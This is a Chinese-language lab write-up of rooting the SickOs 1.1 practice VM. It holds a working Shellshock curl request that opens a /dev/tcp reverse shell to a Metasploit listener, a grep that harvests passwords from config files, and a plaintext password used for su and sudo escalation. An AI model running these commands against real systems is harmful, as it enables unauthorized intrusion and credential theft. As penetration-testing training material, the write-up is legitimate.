Sickos 1.1 靶机渗透
目标：得到root权限
作者：shadow
时间：2021-03-23
请注意：对于所有计算机，我已经使用VMware运行下载的计算机。我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，概不负责。
一、信息收集
netdiscover -i eth0
Sickos 1.1主机ip为172.16.1.10
nmap 扫描一下
nmap -p- -A 172.16.1.10
主机开放了代理服务器，我们尝试用代理服务器扫描
nikto -h 172.16.1.10 --useproxy 172.16.1.10:3128
发现robots.txt 我们设置代理服务器查看文件
发现了/wolfcms目录，打开看看，没什么可用的，我们回到刚才nikto检测结果，提示/cgi-bin/status 对shellcode易受威胁，我们看下能否反弹shell
二、web渗透
开启msf监听
msfconsole
use multi/handler
set lhost 172.16.1.4
set lport 4444
set payload linux/x86/shell/reverse_tcp
run
开启另一个窗口发起请求，准备反弹shell
curl -v --proxy 172.16.1.10:3128 http://172.16.1.10/cgi-bin/status -H "Referer: () { test;}; echo 'Content-Type: text/plain'; echo; echo; /bin/bash -i >& /dev/tcp/172.16.1.4/4444 0>&1"
成功反弹shell
三、提权
切换交互式shell
/bin/sh
查看passwd文件，发现sickos用户
cat /etc/passwd
尝试寻找密码
find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass
配置文件里面竟然有密码，为john@123
尝试切换用户
su sickos
成功切换到sickos用户
使用sudo命令切换到root用户
sudo su root
成功切换到root用户
四、总结
总体来说没什么难度